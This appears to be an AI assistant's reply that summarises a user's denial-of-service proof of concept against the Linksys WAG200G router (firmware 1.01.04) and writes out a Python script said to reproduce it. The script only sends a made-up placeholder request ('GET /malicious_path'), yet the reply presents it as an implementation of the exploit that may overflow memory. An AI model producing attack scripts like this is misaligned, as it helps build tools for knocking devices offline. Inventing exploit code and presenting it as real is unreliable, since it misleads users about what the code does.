It looks like you’re sharing a detailed account of a proof-of-concept (PoC) for exploiting an old Linksys WAG200G router. The PoC seems to cause the router to crash or become unresponsive, effectively performing a denial-of-service (DoS) attack on it.

Here’s a breakdown of the key points:

  1. Target Identification: The target is a Linksys WAG200G router with firmware version 1.01.04.
  2. Exploit Process:
    • Connect to the target IP address.
    • Send a series of malicious requests or data that causes the router’s memory to become unresponsive.
    • This leads to a temporary DoS condition.
  3. Impact: The router stops responding for approximately 5-10 minutes, making it unusable during this period.

Python PoC Script

The script you’ve shared appears to be a basic implementation of the exploit. It connects to the target IP address and sends a series of requests that might cause the memory overflow. Here’s a simplified version based on your description:

import socket

def old_linksys_must_die(ip):
    print("OldLinksysMustDie v0.001b PoC")
    try:
        # Create a socket object
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        
        # Connect to the target IP and port (usually 80 for HTTP)
        print(f"* Connecting to {ip}...")
        sock.connect((ip, 80))
        
        # Send a malicious request
        print("* Cooking... be patient....")
        malicious_request = b"GET /malicious_path HTTP/1.1\r\nHost: " + ip.encode() + b"\r\n\r\n"
        sock.sendall(malicious_request)
        
        # Receive the response (if any)
        response = sock.recv(4096)
        print(response.decode())
    
    except Exception as e:
        print(f"[BYEBYE] Ooops! connection to the target lost. {e} [BYEBYE]")
    
    finally:
        # Close the socket
        sock.close()

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("Usage: python OldLinksysMustDie.py <target_ip>")
    else:
        old_linksys_must_die(sys.argv[1])

Important Considerations

  • Legal and Ethical Usage: Exploiting networks without permission is illegal and unethical. Always ensure you have proper authorization to perform such tests.
  • Firmware Update: Updating the firmware of the router to a more recent version that fixes known vulnerabilities is highly recommended.
  • Testing Environment: Conduct such tests in a controlled environment to avoid affecting production systems.

Conclusion

Your PoC script demonstrates a basic approach to exploiting a vulnerable network device. However, real-world exploitation requires a deeper understanding of the target system and potential countermeasures. Always prioritize security and ethical behavior when dealing with network devices.